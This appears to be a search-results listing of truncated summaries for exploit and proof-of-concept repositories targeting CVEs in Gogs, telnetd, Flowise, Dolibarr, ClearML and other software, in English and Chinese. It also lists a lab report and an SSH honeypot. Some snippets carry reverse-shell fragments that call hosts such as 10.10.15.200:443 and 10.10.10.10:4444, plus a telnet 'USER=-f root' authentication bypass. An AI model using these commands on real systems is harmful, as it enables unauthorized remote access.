34820 matches found
CVE-2025-8110-PoC
CVE-2025-8110 PoC Python proof-of-concept script for CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch → sshCommand → reverse shell. ⚠️ For educational and authorized security research only. Running this tool against systems you do no...
CVE-2021-26828-Ultimate
ScadaFlare - CVE-2021-26828 认证 RCE 利用工具包 一个针对 ScadaBR 1.1.0 的模块化认证后 RCE 利用工具，专为红队行动而增强。 功能特性 通过 viewedit.shtm 上传武器化的 .jsp shell 支持 Linux 与 Windows 载荷 支持 SOCKS5 / HTTP 代理 反弹 shell 触发（标准或 base64） 枚举模块（数据库、凭证、Log4Shell 等） Webhook 外传（Slack / Discord） 生成 Metasploit 资源脚本 清理支持（kill switch） MITRE ATT&CK...
CVE-2026-24061-setup
CVE-2026-24061 环境搭建 本仓库包含 CVE-2026-24061 的 Docker 配置。 安装 Docker 后，只需执行以下操作： 1. 克隆此仓库。 2. 运行以下命令： root@kitploit: sudo docker build . --tag telnetd-auth-bypass 3. Docker 镜像构建完成后，我们可以使用以下命令启动容器： root@kitploit: sudo docker run -dt --rm --name test telnetd-auth-bypass 4. 完成后，你的漏洞实验环境就准备好了，可以开始利用了。只需发送...
hacktivity-vulns-exploits-lab
漏洞、漏洞利用与远程访问载荷 — 实验报告 我对 Hacktivity 网络安全实验室工作表 "漏洞、漏洞利用与远程访问载荷" （利兹贝克特大学道德黑客与渗透测试课程）的演练与分析。 内容涵盖软件漏洞如何导致任意代码执行、绑定型与反弹型 Shell 的区别、Metasploit 框架，以及两个真实 CVE 在刻意配置为易受攻击的训练虚拟机上的端到端利用过程：...
CVE-2026-33310
CVE-2026-33310 CVE-2026-33310（参数默认值中通过 shell 展开导致的命令注入） 摘要 参数默认值中的 shell 语法似乎在目录解析过程中会被自动展开。 如果目录包含诸如 shell 的参数默认值，则在访问目录源时可能会执行该命令。 这意味着，如果用户加载了恶意的目录 YAML，嵌入的命令可能会在主机系统上执行。 此行为可能被归类为 CWE-78：操作系统命令注入 / 不安全的 Shell 展开。 详情 该问题似乎源于访问目录源时参数默认值的展开方式。 在目录加载和源访问期间： Intake 解析参数默认值 负责展开默认值的函数会处理 shell 语法...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...
TelnetdBypass-
TelnetdBypass — CVE-2026-24061 扫描器 这是一个基于 Python 的安全扫描器，用于检测并利用 CVE-2026-24061 ，这是 GNU InetUtils telnetd 1.9.3 至 2.7 版本中存在的一个严重（CVSS 9.8）身份认证绕过漏洞。 工作原理 该扫描器通过 Telnet NEW-ENVIRON 选项（RFC 1572）注入恶意 USER=-f root 值，诱使服务器跳过身份认证并授予 root shell。 功能特性 支持扫描单个 IP、主机名或完整 CIDR 网段 多线程（默认 50 线程）以获得快速结果...
SSHintel
SSHintel — 轻量级 SSH 蜜罐 SSHintel 是一个使用 Python 和 Paramiko 构建的轻量级 SSH 蜜罐。它模拟一个假的 Linux shell，用于记录未经授权的访问尝试、捕获凭据，并在受控环境中分析攻击者的行为。 🔧 功能特性 记录 SSH 登录尝试，包括 IP、用户名和密码 提供一个模拟的 Linux shell（一个假的、内存中的环境） 支持广泛的侦察和导航命令（ls、cd、pwd、cat、echo、grep、find、tree、head、tail、wc、stat、ps、df、free、env、id、whoami 等） 可选的 --tarpit...
CVE-2023-30253-exploit
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 远程代码执行 针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序，允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell 。 ⚠️ 仅限教育用途和授权审计。 📑 目录 什么是 CVE-2023-30253？ 漏洞如何工作？ 影响 此利用程序做什么？ 要求 安装 用法 实际示例 利用程序逐步说明 缓解措施 参考...
CVE-2026-6009
⚠️ Disclaimer: This repository is for educational purposes and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test. CVE-2026-6009 Proof of Concept Summary The Jaspersoft report library version = 7.0.3 is vulnerable to a remote cod...
CVE-2026-25099
CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE Description Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/ endpoint. The uploadFile function performs no file extension or...
CVE-2025-24893_Shell
2025-24893Shell requirements: httpx use: python exploit.py victim.com...
Snow Crash
Snow Crash This project is an introduction to computer security. Snow Crash will help you discover security in various sub-domains, with a developer-oriented approach. You will become familiar with several languages ASM, Perl, Php, etc., develop a certain logic to understand unknown programs, and...
CVE-2026-67434
A flaw was found in PHPCodeSniffer. This command injection vulnerability allows an attacker to execute arbitrary shell commands. This occurs when PHPCodeSniffer processes untrusted files with specially crafted filenames containing shell metacharacters, specifically when generating Gitblame,...
CVE-2025-59528-Flowise-RCE
CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...
CVE-2023-20052
CVE-2023-20052 漏洞利用 本仓库包含一个针对 CVE-2023-20052 的功能性概念验证（PoC）漏洞利用程序，该漏洞影响 ClamAV 1.0.0 及更早版本、0.105.1 及更早版本以及 0.103.7 及更早版本。 演示 使用方法 root@kitploit: git clone https://github.com/tralsesec/CVE-2023-20052.git cd CVE-2023-20052 chmod +x exploit.sh ./exploit.sh 免责声明...
CVE-2026-30225-OliveTin-RCE
OliveTin — 未认证操作执行 → RCE（+ CVE-2026-30225） 针对以出厂 guest 默认配置运行的 OliveTin 实例的提权 / 远程代码执行 PoC。已在 以 root 身份运行的 OliveTin 3000.10.0 （HTB: Enigma ）上验证，可获取未认证的 root shell。 ⚠️ 仅限授权测试。 发布目的为教育、CTF 练习与防御性研究。针对非您所有或未经明确书面许可的系统使用本工具属违法行为。不提供任何担保。参见 LICENSE。 漏洞 A. Guest 可执行操作（不安全的默认配置） OliveTin 的示例 / 默认配置包含：...
CVE-2026-24061
CVE-2026-24061 GNU Inetutils telnetd 远程认证绕过 说真的，2026 年还在用 telnet？拜托各位，是时候向前看了。SSH 从 1995 年就有了。 🤦 描述 GNU Inetutils telnetd 中存在一个严重的认证绕过漏洞，影响 1.9.3 至 2.7 版本。 该漏洞利用 NEW-ENVIRON telnet 选项向 login1 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root，即可绕过认证并在无需凭据的情况下获得 root shell。 受影响版本 GNU Inetutils 1.9.3 - 2.7 技术细节...
pickle_exploit
PickleExploit 通过 ClearML 中的 Pickle 序列化演示远程代码执行漏洞 🖥️ 此脚本由 h3x0v3rl0rd 开发。 此概念验证（PoC）演示了一个涉及使用 pickle 库对 Python 对象进行序列化和反序列化的潜在安全漏洞。具体来说，它创建了一个带有 reduce 方法的 RunCommand 类，该方法在反序列化时通过 os.system 执行反向 Shell 命令。该命令尝试建立到指定 IP 地址和端口的反向 Shell 连接。该 PoC 脚本将此恶意构造的对象作为工件上传到 ClearML...